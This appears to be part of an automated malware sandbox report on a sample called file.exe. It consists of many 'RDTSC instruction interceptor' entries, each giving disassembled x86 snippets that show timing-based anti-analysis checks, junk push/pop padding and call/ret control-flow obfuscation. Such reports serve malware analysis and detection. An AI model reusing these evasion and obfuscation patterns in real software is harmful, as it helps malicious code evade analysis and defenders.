Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E4EBD second address: 12E4ED0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB2DCBE2A2Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E554A second address: 12E554F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E554F second address: 12E5562 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pop eax 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5562 second address: 12E5566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E446A second address: 12E4474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB2DCBE2A26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127C87C second address: 127C897 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DD1878A5h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127C897 second address: 127C89B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127C89B second address: 127C8B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DD1878A6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED45D second address: 12ED469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FB2DCBE2A26h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED469 second address: 12ED46E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED46E second address: 12ED478 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FB2DCBE2A26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED5C6 second address: 12ED609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB2DD18789Fh 0x0000000a jo 00007FB2DD1878A9h 0x00000010 push esi 0x00000011 pop esi 0x00000012 jmp 00007FB2DD1878A1h 0x00000017 popad 0x00000018 push esi 0x00000019 push edi 0x0000001a jmp 00007FB2DD1878A1h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED609 second address: 12ED611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED8A8 second address: 12ED8AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED8AC second address: 12ED8B4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED8B4 second address: 12ED8D5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FB2DD18789Fh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e jnl 00007FB2DD187896h 0x00000014 push edi 0x00000015 pop edi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED09C second address: 12ED0A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED0A4 second address: 12ED0A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED0A8 second address: 12ED0AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EDEC7 second address: 12EDEE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007FB2DD1878A9h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EDEE9 second address: 12EDEF7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FB2DCBE2A2Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B1C9F second address: 12B1CA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B1CA4 second address: 12B1CAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B1CAA second address: 129C444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FB2DD187898h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D17E8h], edi 0x0000002a ja 00007FB2DD18789Eh 0x00000030 lea eax, dword ptr [ebp+124759C5h] 0x00000036 push eax 0x00000037 jne 00007FB2DD1878ADh 0x0000003d mov dword ptr [esp], eax 0x00000040 movzx edi, di 0x00000043 call dword ptr [ebp+12448DE2h] 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B21B6 second address: 12B21BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B240C second address: 12B2411 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B2531 second address: 12B2535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B2535 second address: 12B2571 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007FB2DD1878A9h 0x0000000e popad 0x0000000f popad 0x00000010 xchg eax, esi 0x00000011 jmp 00007FB2DD1878A1h 0x00000016 push eax 0x00000017 push ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B2571 second address: 12B2575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B2C92 second address: 12B2C96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B2F6F second address: 12B2F79 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB2DCBE2A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B3053 second address: 12B306A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FB2DD187896h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d jnp 00007FB2DD1878A4h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B306A second address: 12B306E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B306E second address: 12B30D9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edi 0x0000000a call 00007FB2DD187898h 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], edi 0x00000014 add dword ptr [esp+04h], 0000001Dh 0x0000001c inc edi 0x0000001d push edi 0x0000001e ret 0x0000001f pop edi 0x00000020 ret 0x00000021 add dword ptr [ebp+122D371Ah], esi 0x00000027 lea eax, dword ptr [ebp+124759C5h] 0x0000002d push 00000000h 0x0000002f push ebx 0x00000030 call 00007FB2DD187898h 0x00000035 pop ebx 0x00000036 mov dword ptr [esp+04h], ebx 0x0000003a add dword ptr [esp+04h], 00000016h 0x00000042 inc ebx 0x00000043 push ebx 0x00000044 ret 0x00000045 pop ebx 0x00000046 ret 0x00000047 sub dword ptr [ebp+122D1CE5h], esi 0x0000004d nop 0x0000004e jng 00007FB2DD1878A2h 0x00000054 jl 00007FB2DD18789Ch 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B30D9 second address: 12B30E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B30E4 second address: 12B30E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B30E8 second address: 12B30F2 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB2DCBE2A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B30F2 second address: 12B3109 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB2DD1878A3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F1D8E second address: 12F1D96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F202D second address: 12F2032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F2032 second address: 12F2050 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FB2DCBE2A35h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F2303 second address: 12F2308 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F25F6 second address: 12F25FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F25FC second address: 12F2611 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DD18789Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F27AF second address: 12F27CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB2DCBE2A37h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F27CA second address: 12F27D0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FCF1A second address: 12FCF20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FCF20 second address: 12FCF24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FC9A4 second address: 12FC9AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13020A6 second address: 13020AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13020AA second address: 13020C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB2DCBE2A31h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130264E second address: 1302652 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1302652 second address: 1302667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 jc 00007FB2DCBE2A4Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007FB2DCBE2A26h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1302667 second address: 1302677 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DD18789Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1302910 second address: 1302939 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DCBE2A37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jbe 00007FB2DCBE2A26h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1302A73 second address: 1302AAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 jmp 00007FB2DD18789Dh 0x0000000c js 00007FB2DD18789Eh 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jp 00007FB2DD187896h 0x0000001a js 00007FB2DD18789Ch 0x00000020 je 00007FB2DD187896h 0x00000026 popad 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a jno 00007FB2DD187896h 0x00000030 push ecx 0x00000031 pop ecx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1302AAD second address: 1302ADB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007FB2DCBE2A26h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 jmp 00007FB2DCBE2A36h 0x00000015 jc 00007FB2DCBE2A2Eh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130346A second address: 1303470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1306200 second address: 1306204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1306204 second address: 1306220 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FB2DD1878A2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1306220 second address: 1306224 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1306513 second address: 1306517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1306517 second address: 1306540 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DCBE2A33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FB2DCBE2A32h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130A6ED second address: 130A6FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130A6FA second address: 130A700 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1309A59 second address: 1309A60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1309A60 second address: 1309A89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DCBE2A36h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB2DCBE2A2Dh 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1309A89 second address: 1309A8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1309BF9 second address: 1309BFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1309BFD second address: 1309C0E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB2DD187896h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1309C0E second address: 1309C12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1309C12 second address: 1309C22 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007FB2DD1878A8h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130A019 second address: 130A023 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FB2DCBE2A26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130A17C second address: 130A180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13126E4 second address: 13126EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FB2DCBE2A26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13126EE second address: 13126F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13126F2 second address: 1312702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jl 00007FB2DCBE2A26h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310810 second address: 1310816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310A6A second address: 1310A72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1310A72 second address: 1310A76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311898 second address: 13118AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB2DCBE2A2Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13118AF second address: 13118B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13118B5 second address: 13118BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13118BF second address: 13118C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13118C5 second address: 13118CB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311B90 second address: 1311B9C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 je 00007FB2DD187896h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311B9C second address: 1311BD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DCBE2A2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007FB2DCBE2A4Dh 0x0000000f jmp 00007FB2DCBE2A2Ah 0x00000014 pushad 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007FB2DCBE2A31h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1312165 second address: 1312184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB2DD1878A9h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1312184 second address: 131219E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB2DCBE2A33h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131219E second address: 13121B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DD1878A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13121B8 second address: 13121C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13121C0 second address: 13121C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13121C4 second address: 13121C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1317DD3 second address: 1317E03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB2DD18789Dh 0x00000007 je 00007FB2DD187896h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB2DD1878A6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1317E03 second address: 1317E09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1317E09 second address: 1317E0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131AF99 second address: 131AFB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FB2DCBE2A34h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131B26A second address: 131B26E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131B26E second address: 131B27A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB2DCBE2A26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
